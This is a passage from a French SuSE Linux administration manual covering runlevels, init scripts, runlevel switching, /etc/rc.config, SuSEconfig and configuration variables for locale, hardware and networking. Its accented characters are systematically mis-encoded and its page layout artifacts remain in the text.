  28461.        _______________________________________________________________________________________________________________________
  28462.  
  28463.                           Tab. 17.1: Liste des runlevels sous Linux
  28464.  
  28465.  
  28466.  
  28467. tester si le systΦme fonctionne comme vous le souhaitez.
  28468.        _______________________________________________________________________________________________________________________|||||
  28469.  
  28470.        ||||||||  Un fichier /etc/inittab dΘtΘriorΘ peut entraεner un mauvais dΘmarrage                          |||            |
  28471.        ||||||||  du systΦme. Agissez donc avec la plus grande prudence si vous apportez                         ||             |
  28472.        ||||||||                                                                                                 ||             |
  28473.        ||||||||  des modifications α ce fichier. ~ Comme solution de secours, vous pouvez                       ||             |
  28474.        ||||||||  essayer dans un tel cas de transmettre le paramΦtre init=/bin/sh            α l'in-            ||             |
  28475.        ||||||||                                                                                                 ||             |
  28476.        ||||||||  vite  de  LILO  afin  d'amorcer  directement  dans  un  shell  (voir  page  121).              ||             |
  28477.        ||||||||                                                                                                 ||             |
  28478.        ||||||||  Ceci se fait de cette maniΦre :                                                                ||             |
  28479.        ||||||||  boot  :  linux  init=/bin/sh                                                                   ||             |
  28480.        ||||||||_______________________________________________________________________________________________________________||_
  28481.  
  28482.  
  28483. 17.3        Changement de niveau d'exΘcution
  28484.  
  28485. En gΘnΘral, il se produit ce qui suit lorsque l'on passe d'un niveau d'exΘcution
  28486. α un autre : Les scripts d'arrΩt du niveau d'exΘcution actuel sont exΘcutΘs ~
  28487. ce qui logiquement arrΩte tous les programmes qui tournent ~ et les scripts de
  28488. dΘmarrage  du  nouveau  niveau  d'exΘcution  sont  Θgalement  exΘcutΘs.  Dans
  28489. la  plupart  des  cas,  quelques  programmes  sont  lancΘs  au  cours  d'une  telle
  28490. procΘdure.
  28491.  
  28492. Pour que tout ceci soit plus clair, voyons α l'aide d'un exemple ce qui arrive
  28493. lorsque l'on passe du runlevel 2 au runlevel 3 :
  28494.  
  28495.   ~   L'administrateur  (`root')  fait  savoir  au  processus  init  que  le  niveau
  28496.       d'exΘcution doit Ωtre changΘ :
  28497.            root@terre:/  >  init  3
  28498.  
  28499.  
  28500.   ~   init  consulte  le  fichier  de  configuration  /etc/inittab  et  constate  que
  28501.       le  script  /sbin/init.d/rc  doit  Ωtre  invoquΘ  avec  le  nouveau  niveau
  28502.       d'exΘcution comme paramΦtre.
  28503.  
  28504.   ~   Maintenant, rc invoque tous les scripts d'arrΩt du prΘsent niveau d'exΘcu-
  28505.       tion pour lesquels il n'existe pas de scripts de dΘmarrage dans le nouveau
  28506.       niveau d'exΘcution. Dans notre exemple, il s'agit de scripts qui se trouvent
  28507.       tous dans le rΘpertoire /sbin/init.d/rc2.d (l'ancien runlevel Θtait 2)
  28508.       et  dont  le  nom  commence  par  un  `K'3 .  Le  nombre  qui  suit  le  `K'  ga-
  28509. 3      ____________________________________________________
  28510.    Les noms des scripts d'arrΩt commencent toujours par `K' (angl. kill), ceux des scripts de
  28511. dΘmarrage par `S' (angl. start).
  28512.  
  28513.  
  28514.                                                                                                                                    *
  28515.  *   447
  28516. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  28517.  *_______________________________________@
  28518.  
  28519.  
  28520.  
  28521.                                  rantit  qu'un  certain  ordre  sera  respectΘ  car  il  est  possible  que  quelques
  28522.                                  programmes soient dΘpendants d'autres programmes.
  28523.  
  28524.                              ~   Les scripts de dΘmarrage du nouveau niveau d'exΘcution sont lancΘs en
  28525.                                  dernier. Ce sont ceux qui, dans notre exemple, se trouvent sous /sbin/
  28526.                                  init.d/rc3.d et dont le nom commence par un `S'. Dans ce cas aussi,
  28527.                                  il  sera  tenu  compte  de  l'ordre  qui  est  dΘterminΘ  par  le  nombre  qui  suit
  28528.                                  le `S'.
  28529.  
  28530.                            Si vous passez au niveau d'exΘcution dans lequel vous vous trouvez dΘjα, init
  28531.                            ne lit que son fichier /etc/inittab, vΘrifie s'il y a eu des modifications et
  28532.                            prend le cas ΘchΘant les mesures qui s'imposent (par exemple lancement d'un
  28533.                            getty      sur une autre interface).
  28534.  
  28535.  
  28536.  
  28537.                            17.4        Les scripts init
  28538.  
  28539.            Concept         Les  scripts sous /sbin/init.d se divisent en deux catΘgories :
  28540.  
  28541.                              ~   Les scripts qui sont directement lancΘs par init  : Ceci ne se produit qu'au
  28542.                                  moment de l'amorτage ou lorsque le systΦme est brusquement arrΩtΘ (par
  28543.                                  suite d'une panne_de_courant_ou_si l'utilisateur_appuie sur la combinaison
  28544.                                  de touches |C______|trl+ |A____l|t+ |S_______u|ppr).
  28545.  
  28546.                              ~   Les scripts qui sont indirectement lancΘs par init : Cela arrive lors d'un
  28547.                                  changement de niveau d'exΘcution. Ici, c'est en rΦgle gΘnΘrale le script
  28548.                                  supΘrieur /sbin/init.d/rc qui sera exΘcutΘ et qui fera en sorte que les scripts
  28549.                                  qui ont un r⌠le α jouer soient lancΘs dans un ordre correct.
  28550.  
  28551.                            Tous les scripts se trouvent sous /sbin/init.d.  Les scripts pour le chan-
  28552.                            gement  de  niveau  d'exΘcution  sont  Θgalement  dans  ce  repΘrtoire  mais  ils
  28553.                            sont invoquΘs en tant que liens symboliques provenant des sous-rΘpertoires
  28554.                            /sbin/init.d/rc0.d α /sbin/init.d/rc6.d. Ceci permet d'y voir plus
  28555.                            clair  et  il  n'est  pas  ainsi  nΘcessaire  que  les  scripts  soient  prΘsents  en  plu-
  28556.                            sieurs exemplaires s'ils doivent Ωtre utilisΘs dans diffΘrents niveaux d'exΘcu-
  28557.                            tion. Comme chacun de ces scripts peut Ωtre lancΘ aussi bien comme script de
  28558.                            dΘmarrage que comme script d'arrΩt, ils doivent tous pouvoir comprendre les
  28559.                            deux paramΦtres possibles start      et stop    .
  28560.  
  28561.           Exemple          Le   script /sbin/init.d/rc2.d/K40network est lancΘ lorsque l'on quitte
  28562.                            le runlevel 2 ; /sbin/init.d/rc lance le script /sbin/init.d/network
  28563.                            avec le paramΦtre stop    . Lorsque l'on passe au runlevel 3, c'est le mΩme script
  28564.                            qui est lancΘ mais cette fois-ci avec le paramΦtre start     .
  28565.  
  28566.                            Les liens dans les diffΘrents sous-rΘpertoires spΘcifiques aux niveaux d'exΘ-
  28567.                            cution ne servent donc qu'α permettre d'attribuer chacun des scripts α certains
  28568.                            niveaux d'exΘcution.
  28569.  
  28570.              Boot et       Dans   ce qui va suivre, vous trouverez une brΦve description des premiers et
  28571.         Shutdown           des derniers scripts d'amorτage et d'arrΩt ainsi que du script de commande :
  28572.  
  28573.                              ~   boot
  28574.                                  Il est exΘcutΘ au dΘmarrage du systΦme et lancΘ directement par init . Il est
  28575.                                  indΘpendant du niveau d'exΘcution par dΘfaut que l'on souhaite et n'est
  28576.                                  exΘcutΘ qu'une seule et unique fois. Ici, le dΘmon kerneld qui assure le
  28577.  
  28578.  
  28579. 448
  28580.        ____________________________________________________________________________________________________17.4.__Les_scripts_init_*
  28581.  *______________________
  28582.  
  28583.  
  28584.  
  28585.       chargement automatique des modules du noyau est lancΘ. Les systΦmes
  28586.       de  fichiers  sont  vΘrifiΘs,  d'Θventuels  fichiers  superflus  sous  /var/lock
  28587.       sont effacΘs et le rΘseau pour le pΘriphΘrique loopback est configurΘ dans
  28588.       la mesure ou ceci est indiquΘ dans /etc/rc.config. En outre, l'horloge
  28589.       du systΦme est rΘglΘe et le matΘriel Plug-and-Play est configurΘ avec les
  28590.       outils isapnp (voir paragraphe 10.2.1 page 294).
  28591.       Si lors de la vΘrification et de la restauration automatiques des systΦmes de
  28592.       fichiers il se produit une grave erreur, l'administrateur systΦme a la possi-
  28593.       bilitΘ, aprΦs avoir tapΘ le mot de passe root, de rΘsoudre manuellement le
  28594.       problΦme.
  28595.       Le  rΘpertoire  /sbin/init.d/boot.d  est  en  outre  attribuΘ  α  ce  script.
  28596.       Tous les scripts commenτant par `S' qui ont ΘtΘ trouvΘs dans ce rΘper-
  28597.       toire sont exΘcutΘs automatiquement lors du dΘmarrage du systΦme. C'est
  28598.       l'emplacement idΘal pour vos propres extensions qui ne doivent Ωtre acti-
  28599.       vΘes qu'une seule fois lors du dΘmarrage.
  28600.       Le script boot.local  sera exΘcutΘ en dernier.
  28601.  
  28602.   ~   boot.local
  28603.       Il  est  possible  d'indiquer  ici  d'autres  actions  qui  devront  se  faire  avant
  28604.       que le systΦme ne change de niveau d'exΘcution ; de par ses fonctions, il
  28605.       est plus ou moins comparable au fichier AUTOEXEC.BAT bien connu sous
  28606.       DOS.
  28607.  
  28608.   ~   boot.setup
  28609.       Configurations de base α effectuer si l'on passe du mode mono-utilisateur
  28610.       dans n'importe quel autre niveau d'exΘcution.
  28611.       La disposition du clavier et la configuration de la console sont chargΘes
  28612.       ici.
  28613.  
  28614.   ~   halt
  28615.       Ce script n'est exΘcutΘ que lors de l'entrΘe dans le runlevel 0 ou 6. Il est
  28616.       lancΘ soit sous le nom halt, soit sous le nom reboot. Selon le nom sous
  28617.       lequel halt  a ΘtΘ lancΘ, le systΦme sera soit redΘmarrΘ, soit complΦtement
  28618.       arrΩtΘ.
  28619.  
  28620.   ~   rc
  28621.       C'est  le  script  principal  qui  est  lancΘ  α  chaque  changement  de  niveau
  28622.       d'exΘcution. Il exΘcute les scripts d'arrΩt du niveau d'exΘcution que l'on
  28623.       quitte et ensuite les scripts de dΘmarrage du nouveau niveau d'exΘcution.
  28624.  
  28625. Vous  pouvez,  α  l'aide  de  ce  concept,  ajouter  vos  propres  scripts ;  le  fichier                          Scripts
  28626. /sbin/init.d/skeleton vous en fournit la charpente. Pour diriger l'exΘ-                                            personnels
  28627. cution d'un script au moyen de /etc/rc.config, il est nΘcessaire d'y posi-
  28628. tionner  une  variable  <START`>  qui  sera  utilisΘe  dans  votre  propre  script.
  28629. Des  paramΦtres  supplΘmentaires  ne  devraient  Ωtre  ajoutΘs  dans  /etc/rc.
  28630. config que dans certains cas particuliers o∙ cela est justifiΘ (voir par exemple
  28631. le script /sbin/init.d/gpm).
  28632.  
  28633. Vous devez maintenant crΘer des liens pointant du rΘpertoire rc correspondant
  28634. sur le nouveau script afin que celui-ci ~ comme il a ΘtΘ dΘcrit plus haut (pa-
  28635. ragraphe 17.3 page 447) ~ soit exΘcutΘ lors du changement de niveau d'exΘ-
  28636. cution ; c'est lα que les noms α donner aux liens sont explicitΘs. Les dΘtails
  28637. techniques sont exposΘs dans la page de man de init.d       (man  7  init.d         ).
  28638.  
  28639.  
  28640.                                                                                                                                    *
  28641.  *   449
  28642. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  28643.  *_______________________________________@
  28644.  
  28645.                            ________________________________________________________________________________________________________*
  28646.  *________||
  28647.                            |  Vous  devez  vous  montrer  extrΩmement  prudent  en  crΘant  vos  propres                           *
  28648.  *        ||||
  28649.                            || scripts ~ un script erronΘ est capable de ``planter'' votre machine. Voir plus                       *
  28650.  *        ||||
  28651.                            |  haut paragraphe 17.2 page 446 au cas o∙ plus rien ne fonctionnerait : : :                            *
  28652.  *        ||||
  28653.                            |_______________________________________________________________________________________________________*
  28654.  *________|||_
  28655.  
  28656.  
  28657.                            17.5        /etc/rc.config                   et SuSEconfig
  28658.  
  28659.                            La  quasi-totalitΘ  de  la  configuration  de  SuSE     Linux  peut  Ωtre  rΘalisΘe  au
  28660.                            moyen  du  fichier  de  configuration  central  /etc/rc.config.  Ce  fichier
  28661.                            contient toute une sΘrie de variables d'environnement qui sont utilisΘes, entre
  28662.                            autre, par les scripts init. Chacun des scripts sous /sbin/init.d charge en
  28663.                            premier le fichier /etc/rc.config pour reprendre les valeurs actuellement
  28664.                            valides des diffΘrentes variables.
  28665.                            ________________________________________________________________________________________________________*
  28666.  *________||
  28667.                            |  Depuis la version 6.0 de SuSE      Linux, les paquetages offrant des possibi-                        *
  28668.  *        ||||
  28669.                            |                                                                                                       *
  28670.  *        |||
  28671.                            |  litΘs  Θtendues  de  configuration  stockent  leurs  variables  dans  des  fichiers                  *
  28672.  *        |||
  28673.                            |  situΘs dans le rΘpertoire /etc/rc.config.d. C'est le cas par exemple du                              *
  28674.  *        |||
  28675.                            |                                                                                                       *
  28676.  *        |||
  28677.                            |  paquetage i4l (ISDN). Par la suite il ne sera plus parlΘ, pour simplifier,                           *
  28678.  *        |||
  28679.                            |  que de /etc/rc.config bien qu'il s'agisse de variables qui ont ΘtΘ trans-                            *
  28680.  *        |||
  28681.                            |                                                                                                       *
  28682.  *        |||
  28683.                            |  fΘrΘes dans des fichiers situΘs sous /etc/rc.config.d !                                              *
  28684.  *        |||
  28685.                            |_______________________________________________________________________________________________________*
  28686.  *________|||_
  28687.  
  28688.                            Outre cela, il est possible de gΘnΘrer de nombreux autres fichiers de configura-
  28689.                            tion systΦme en relation avec /etc/rc.config. Cette tΓche est assumΘe par
  28690.                            /sbin/SuSEconfig . Ainsi par exemple, aprΦs une modification de la configu-
  28691.                            ration rΘseau, le fichier /etc/resolv.conf sera recrΘΘ car il est dΘpendant
  28692.                            du type de la configuration.
  28693.  
  28694.                            Si  vous  apportez  donc  des  modifications  α  /etc/rc.config,  vous  devrez
  28695.                            toujours ensuite lancer SuSEconfig pour vous assurer que vos configurations
  28696.                            sont effectives α tous les emplacements essentiels. Si vous modifiez la confi-
  28697.                            guration avec YaST , vous n'aurez pas besoin de vous en occuper vous-mΩme.
  28698.                            YaST lance automatiquement SuSEconfig , ce qui a pour effet de mettre α jour
  28699.                            les fichiers concernΘs.
  28700.  
  28701.                            Ce  concept  vous  permet  d'apporter  des  modifications  fondamentales  α  la
  28702.                            configuration de votre machine sans Ωtre obligΘ de la rΘamorcer. Comme cer-
  28703.                            tains paramΘtrages changent radicalement beaucoup de choses, il est toutefois
  28704.                            possible que vous deviez relancer certains programmes afin que ces modifica-
  28705.                            tions soient prises en compte. Cette procΘdure est dΘcrite par exemple au para-
  28706.                            graphe concernant la configuration du rΘseau (voir paragraphe 5.2 page 158)
  28707.                            qui montre que l'utilisation de la commande
  28708.  
  28709.                                  terre:  #  /sbin/init.d/network  stop
  28710.                                  terre:  #  /sbin/init.d/network  start
  28711.                            provoque  le  redΘmarrage  des  programmes  concernΘs  par  la  modification.
  28712.                            Ainsi  que  vous  pouvez  le  constater,  il  est  possible  de  lancer  manuellement
  28713.                            les scripts init.
  28714.  
  28715.                            En  rΦgle  gΘnΘrale,  il  est  recommandΘ,  pour  la  configuration  du  systΦme,
  28716.                            d'adopter la mΘthode suivante :
  28717.  
  28718.  
  28719.                              ~   Mettez votre systΦme en ``mode mono-utilisateur'' :
  28720.                                       terre:  #  init  S
  28721.  
  28722.  
  28723. 450
  28724.        _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems_________*
  28725.  *______________________
  28726.  
  28727.  
  28728.  
  28729.       Vous  avez  aussi  l'alternative  d'utiliser  le  runlevel  1  qui  vous  donne  en
  28730.       outre la possibilitΘ de vous connecter sur plusieurs consoles :
  28731.             terre:  #  init  1
  28732.  
  28733.   ~   Apportez au fichier de configuration /etc/rc.config les modifications
  28734.       que  vous  souhaitez.  Ceci  peut  se  faire  α  l'aide  de  n'importe  quel  Θdi-
  28735.       teur ou avec YaST  sous l'option du menu `Modifier  le  fichier  de
  28736.       configuration' (voir paragraphe 17.6).
  28737.  
  28738.   ~   ExΘcutez SuSEconfig  afin que les modifications soient prises en compte
  28739.       dans les diffΘrents autres fichiers de configuration. Cela se fait automati-
  28740.       quement si vous avez modifiΘ le fichier /etc/rc.config avec YaST .
  28741.  
  28742.   ~   Ramenez votre systΦme dans son niveau d'exΘcution prΘcΘdent :
  28743.             terre:  #  init  2
  28744.  
  28745. Cette procΘdure n'est bien s√r nΘcessaire que si vous avez apportΘ des modi-
  28746. fications radicales α la configuration de votre systΦme (par exemple configu-
  28747. ration rΘseau). Lorsqu'il s'agit de tΓches simples, il n'est pas indispensable,
  28748. pour  l'administration,  de  passer  en  ``mode  mono-utilisateur''.  Vous  pouvez
  28749. toutefois vous assurer ainsi que vraiment tous les programmes concernΘs par
  28750. la modification sont relancΘs.
  28751.        _______________________________________________________________________________________________________________________||
  28752.        ||||||||  Pour dΘsactiver radicalement la configuration automatique via SuSEcon-                         |||            |
  28753.        ||||||||                                                                                                 ||             |
  28754.        ||||||||  fig ,  vous  pouvez  positionner  la  variable  <ENABLE`SUSECONFIG>                            ||             |
  28755.        ||||||||  dans le fichier /etc/rc.config (voir cependant l'avertissement α la prΘ-                       ||             |
  28756.        ||||||||                                                                                                 ||             |
  28757.        ||||||||  sente page). Il est Θgalement possible, au moyen de variables rc.config                        ||             |
  28758.        ||||||||  appropriΘes  ``d'invalider''  seulement  partiellement  la  configuration  auto-               ||             |
  28759.        ||||||||                                                                                                 ||             |
  28760.        ||||||||  matique.                                                                                       ||             |
  28761.        ||||||||_______________________________________________________________________________________________________________||_
  28762.  
  28763.  
  28764. 17.6        Les variables /etc/rc.config
  28765.  
  28766. Ce qui suit est une brΦve description des diffΘrents paramΦtes du systΦme et
  28767. de leur configuration. Si vous ne manipulez pas les fichiers de configuration
  28768. /etc/rc.config avec YaST , prenez soin d'Θcrire un paramΦtre vide sous
  28769. forme de deux caractΦres de guillemets α la suite l'un de l'autre (par exemple
  28770. KEYTABLE=""          )  et  de  mettre  entre  guillemets  les  paramΦtres  contenant  des
  28771. espaces.  Pour  les  variables  qui  ne  sont  composΘes  que  d'un  seul  mot,  les
  28772. guillemets ne sont pas nΘcessaires.
  28773.  
  28774. Dans la description qui suit, chaque paramΦtre a ΘtΘ pourvu d'une valeur afin
  28775. de rendre plus claires, α l'aide de cet exemple, les configurations possibles.
  28776.  
  28777.  
  28778. Configurations de base
  28779.  
  28780.   ~   ENABLE_SUSECONFIG=yes
  28781.       DΘtermine si SuSEconfig doit se charger de la configuration. └ ne dΘsac-
  28782.       tiver en aucun cas si vous voulez bΘnΘficier des services de l'Assistance
  28783.       Technique α l'Installation ;-)
  28784.  
  28785.   ~   MAIL_REPORTS_TO=tux
  28786.       DΘtermine  α  qui  SuSEconfig  doit  envoyer  par  E-mail  des  rapports  sur
  28787.       l'administration du systΦme.
  28788.  
  28789.  
  28790.                                                                                                                                    *
  28791.  *   451
  28792. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  28793.  *_______________________________________@
  28794.  
  28795.  
  28796.  
  28797.                              ~   GMT=-u
  28798.                                  Si votre horloge matΘrielle est rΘglΘe sur GMT (Greenwich Mean Time),
  28799.                                  positionnez cette variable α -u  4 , sinon laissez-la vide. Cette configuration
  28800.                                  est  essentielle  pour  le  passage  automatique  de  l'heure  d'ΘtΘ  α  l'heure
  28801.                                  d'hiver et vice versa.
  28802.  
  28803.                              ~   TIMEZONE=CET
  28804.                                  La zone horaire dans laquelle vous habitez ou dans laquelle vous utilisez
  28805.                                  votre machine. Essentielle aussi pour le passage automatique de l'heure
  28806.                                  d'ΘtΘ α l'heure d'hiver et vice versa.
  28807.  
  28808.                              ~   LANGUAGE="french"
  28809.                                  Cette  variable  est  positionnΘe  par  YaST  lorsqu'une  modification  a  lieu
  28810.                                  avec `DΘterminer  la  langue' (voir paragraphe 3.3.1 page 83). Cette
  28811.                                  valeur  est  considΘrΘe  comme  ``fallback''  lorsque  LANG     ou  les  variables
  28812.                                  LC_*    ne sont pas positionnΘes (voir ci-dessous). Dans un tel cas, la va-
  28813.                                  leur ici indiquΘe est dΘfinie au moyen du fichier /usr/share/locale/
  28814.                                  locale.alias.
  28815.  
  28816.                              ~   RC_LANG="de_DE"
  28817.                                  Positionne LANG pour locale . On peut ici dΘterminer une valeur par dΘfaut
  28818.                                  pour les utilisateurs locaux. Cette valeur reste effective aussi longtemps
  28819.                                  qu'il n'est pas utilisΘ de variables spΘciales RC_LC_*       .
  28820.                                  Les   variables   rc.config   sont   :   RC_LC_ALL          (elles   peuvent   Θcra-
  28821.                                  ser  les  variables  LC_*  et  LANG !),  RC_LC_MESSAGES             ,  RC_LC_CTYPE          ,
  28822.                                  RC_LC_MONETARY            , RC_LC_NUMERIC            , RC_LC_TIME          et RC_LC_COLLATE       *
  28823.  *     .
  28824.                                  Voir page de man de locale       (man  5  locale         ).
  28825.  
  28826.                              ~   ROOT_USES_LANG="no"
  28827.                                  Les  configurations  de  locale   doivent-elles  aussi  Ωtre  utilisΘes  pour
  28828.                                  `root' ?
  28829.  
  28830.                              ~   INIT_SCRIPT_USE_LANG="no"
  28831.                                  Utiliser locale dans les scripts init    ? Ce n'est pas recommandable ;-)
  28832.  
  28833.                              ~   ENABLE_SYSRQ="no"
  28834.                                  Un coup d'oeil α l'intΘrieur du noyau. Avant utilisation, lire absolument
  28835.                                  /usr/src/linux/Documentation/sysrq.txt !
  28836.  
  28837.  
  28838.                            Initialiser le matΘriel local(clavier, modem, souris, PCMCIA, etc.)
  28839.  
  28840.                              ~   KEYTABLE=fr-latin1
  28841.                                  DΘfinit la disposition des touches du clavier.
  28842.  
  28843.                              ~   KBD_NUMLOCK=no
  28844.                                  |___________|NumLockne doit pas Ωtre utilisΘe lors de l'amorτage.
  28845.  
  28846.                              ~   KBDCAPSLOCK=no
  28847.                                  |_____________|CapsLockne doit pas Ωtre utilisΘe lors de l'amorτage.
  28848.  
  28849.                              ~   KBD_TTY="tty1  tty2  tty3  tty4  tty5  tty6"
  28850.                                  |___________|NumLocket |C____________|_apsLockpeut Ωtre limitΘ α certains TTYs.
  28851.  
  28852.                                  Une entrΘe ne comportant que des guillemets "" reprΘsente tous les TTYs.
  28853.                            _____________________________________________4
  28854.                              -u  est une abrΘviation pour universal time.
  28855.  
  28856.  
  28857. 452
  28858.      _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
  28859.  *____________________
  28860.  
  28861.  
  28862.  
  28863. ~   KBD_RATE=30
  28864.     DΘtermine la vitesse de rΘpΘtition automatique du clavier. Les spΘcifica-
  28865.     tions possibles sont de 2 α 30 fois par seconde. Afin que cette configura-
  28866.     tion soit effective, la durΘe du dΘlai (voir KBD_DELAY        ) doit Θgalement Ωtre
  28867.     dΘterminΘe !
  28868.  
  28869. ~   KBD_DELAY=250
  28870.     Vous pouvez spΘcifier ici le dΘlai aprΦs lequel la fonction automatique de
  28871.     rΘpΘtition entre en jeu. La valeur est indiquΘe en milliΦmes de seconde,
  28872.     mais  l'Θchelle  n'est  pas  trΦs  prΘcise.  Vous  devez  Θgalement  configurer
  28873.     KBD_RATE        !
  28874.  
  28875. ~   CONSOLE_FONT=mr.fnt
  28876.     La  police  de  caractΦres  chargΘe  pour  la  console.  Les  caractΦres  accen-
  28877.     tuΘs  ne  sont  pas  supportΘs  par  toutes  les  polices !  Avec  YaST ,  vous
  28878.     pouvez  essayez  facilement  plusieurs  polices  de  caractΦres  et  choisir
  28879.     celle qui vous convient le mieux. Les paramΦtres supplΘmentaires sont :
  28880.     CONSOLE_SCREENMAP                , CONSOLE_UNICODEMAP                 et CONSOLE_MAGIC            .
  28881.  
  28882. ~   MODEM=/dev/ttyS1
  28883.     L'interface α laquelle le modem est connectΘ. YaST  ou SuSEconfig Θdite
  28884.     un lien pointant de /dev/modem sur le pΘriphΘrique spΘcifiΘ.
  28885.  
  28886. ~   MOUSE=/dev/ttyS2
  28887.     L'interface α laquelle la souris est connectΘe. YaST  ou SuSEconfig  Θdite
  28888.     un lien pointant de /dev/mouse sur le pΘriphΘrique spΘcifiΘ.
  28889.  
  28890. ~   START_GPM=yes
  28891.     Contr⌠le  si  le  support  souris  pour  la  console  est  dΘmarrΘ.  Il  est  ainsi
  28892.     possible, avec la souris, d'Θchanger du texte entre les diffΘrentes consoles
  28893.     virtuelles. Gpm pose des problΦmes en relation avec certaines souris bus.
  28894.     Si la souris vous crΘe des difficultΘs lorsque vous utilisez X, vous devriez
  28895.     empΩcher  le  lancement  de  gpm .  Ou  alors  utilisez  simplement  xdm  car
  28896.     dans le runlevel 3 gpm n'est, par principe, jamais lancΘ.
  28897.  
  28898. ~   GPM_PARAM="  -t  logi  -m  /dev/mouse"
  28899.     Le paramΦtre de dΘmarrage pour gpm . C'est normalement YaST  qui s'en
  28900.     charge.
  28901.  
  28902. ~   PCMCIA=i82365
  28903.     Sert α dΘfinir le chipset ; les valeurs sont i82365       ou tcic    . Si la variable
  28904.     est positionnΘe α ""   le sous-systΦme PCMCIA n'est pas dΘmarrΘ. Il est
  28905.     possible d'affiner la configuration avec les variables PCMCIA_PCIC_OPTS
  28906.     et PCMCIA_CORE_OPTS               .
  28907.  
  28908. ~   START_ISAPNP=yes
  28909.     Initialiser ISA PnP lors de l'amorτage.
  28910.  
  28911. ~   INITRD_MODULES="aic7xxx"
  28912.     Les  noms  des  modules  qui  doivent  Ωtre  chargΘs  pendant  l'amorτage  du
  28913.     noyau afin de permettre par exemple l'accΦs au disque dur. Les entrΘes
  28914.     utiles et indispensables sont faites au cours de l'installation ou de la mise
  28915.     α jour. Voir le paragraphe 16.2 page 424.
  28916.  
  28917. ~   START_KERNELD=yes
  28918.     Cette variable contr⌠le si le dΘmon kerneld est lancΘ automatiquement au
  28919.  
  28920.  
  28921.                                                                                                                                    *
  28922.  * 453
  28923. 17.  Le concept d'amorτage_de_SuSE______Linux______________________________________________________________________________________*
  28924.  *_______________________________________@
  28925.  
  28926.  
  28927.  
  28928.                                  moment de l'amorτage du noyau 2.0.xx. Ce dΘmon fait en sorte que les
  28929.                                  modules du noyau soient chargΘs automatiquement lorsqu'ils sont requis.
  28930.                                  Avec le noyau standard actuel 2.2.xx, kerneld n'est plus nΘcessaire.  Vous
  28931.                                  trouverez au paragraphe 13.2 page 361 une brΦve introduction au concept
  28932.                                  des modules.
  28933.  
  28934.  
  28935.                            DΘmarrer et configurer les services rΘseau et les services locaux
  28936.  
  28937.                              ~   START_LOOPBACK=yes
  28938.                                  DΘtermine si une sorte de mini-rΘseau doit Ωtre installΘ par la configura-
  28939.                                  tion du pΘriphΘrique dit loopback. Comme de nombreux programmes ont
  28940.                                  besoin de cette fonctionnalitΘ, elle devrait absolument Ωtre activΘe5 .
  28941.  
  28942.                              ~   CHECK_ETC_HOSTS=yes
  28943.                                  DΘtermine si SuSEconfig doit vΘrifier /etc/hosts et le cas ΘchΘant le
  28944.                                  modifier.
  28945.  
  28946.                              ~   BEAUTIFY_ETC_HOSTS=no
  28947.                                  Dans le cas o∙ le contenu de /etc/hosts doit Ωtre classΘ.
  28948.  
  28949.                              ~   SETUPDUMMYDEV=no
  28950.                                  DΘtermine si le pseudo pΘriphΘrique (dummy device) doit Ωtre configurΘ ;
  28951.                                  utile  dans  le  cas  de  connexions  rΘseau  non  permanentes  (par  exemple
  28952.                                  SLIP ou PPP). C'est parfois gΩnant si vous avez une carte Ethernet.
  28953.  
  28954.                              ~   CREATE_HOSTCONF=yes
  28955.                                  DΘtermine si SuSEconfig doit vΘrifier /etc/host.conf et le cas ΘchΘant
  28956.                                  le modifier.
  28957.  
  28958.                              ~   CREATE_RESOLVCONF=yes
  28959.                                  DΘtermine  si  SuSEconfig  doit  vΘrifier  /etc/resolv.conf  et  le  cas
  28960.                                  ΘchΘant  le  modifier.  Si  cette  variable  est  positionnΘe  α  yes    et  si  l'une
  28961.                                  des variables LISTE_DE_RECHERCHE                  ou SERVEUR_DE_NOMS               est vide, on
  28962.                                  prΘsume que vous ne voulez pas de serveur de noms de domaines et que
  28963.                                  /etc/resolv.conf peut Ωtre effacΘ. Si cette variable est positionnΘe α
  28964.                                  no , /etc/resolv.conf demeure inchangΘ.
  28965.  
  28966.                              ~   NETCONFIG=_0
  28967.                                  Indique le nombre de cartes rΘseau (ou autres pΘriphΘriques rΘseau) que
  28968.                                  la  machine  possΦde.  Ceci  est  un  exemple  pour  une  carte  rΘseau  (elles
  28969.                                  sont  numΘrotΘes  α  partir  de  0).  Dans  le  cas  d'une  machine  possΘdant
  28970.                                  deux cartes, l'entrΘe devrait Ωtre NETCONFIG="_0  _1"               . Si la machine ne
  28971.                                  possΦde pas de carte rΘseau, l'entrΘe reste vide.
  28972.  
  28973.                              ~   IPADDR_0=193.141.17.202
  28974.                                  L'adresse IP pour la premiΦre carte rΘseau.
  28975.  
  28976.                              ~   NETDEV_0=eth0
  28977.                                  Le nom du premier pΘriphΘrique rΘseau (habituellement une carte rΘseau
  28978.                                  Ethernet, ce qui explique l'entrΘe eth0    ). D'autres entrΘes possibles sont
  28979.                                  str1    ou plip1     . Si la machine dispose de plus d'une carte rΘseau, les va-
  28980.                                  riables NETDEV`1 α NETDEV`3 seront renseignΘes de faτon analogue.
  28981.                            _____________________________________________5
  28982.                              Le noyau doit naturellement offrir un support rΘseau !
  28983.  
  28984.  
  28985. 454
  28986.      _______________________________________________________17.6.__Les_variables_/etc/rc.config______________des_Systems___________*
  28987.  *____________________
  28988.  
  28989.  
  28990.  
  28991. ~   IFCONFIG_0="193.141.17.205  broadcast  193.141.17.255
  28992.     netmask  255.255.255.192"
  28993.     La commande de configuration pour le permier pΘriphΘrique rΘseau. Les
  28994.     opΘrations  nΘcessaires  peuvent  Ωtre  effectuΘes  aisΘment  avec  YaST .  Si
  28995.     vous  possΘdez  plus  d'une  carte  rΘseau,  insΘrez  ici  les  lignes  de  com-
  28996.     mandes dans les autres variables.
  28997.  
  28998. ~   CLOSE_CONNECTIONS=false
  28999.     Si  cette  variable  est  positionnΘe  α  true     et  si  le  ``runlevel''  est  0  ou  6
  29000.     (halt     ou reboot      ), /sbin/init.d/route                 envoie un SIGTERM       α tous les
  29001.     processus qui ont une connexion ``remote tcp'' ou ``udp'' ouverte.
  29002.  
  29003. ~   IP_DYNIP=no
  29004.     Activer le ``dynamic IP patch'' lors de l'amorτage. Si la variable est po-
  29005.     sitionnΘe α yes   , le script /sbin/init.d/boot active ce patch par une
  29006.     entrΘe dans le systΦme de fichiers /proc.
  29007.  
  29008. ~   IP_TCP_SYNCOOKIES=yes
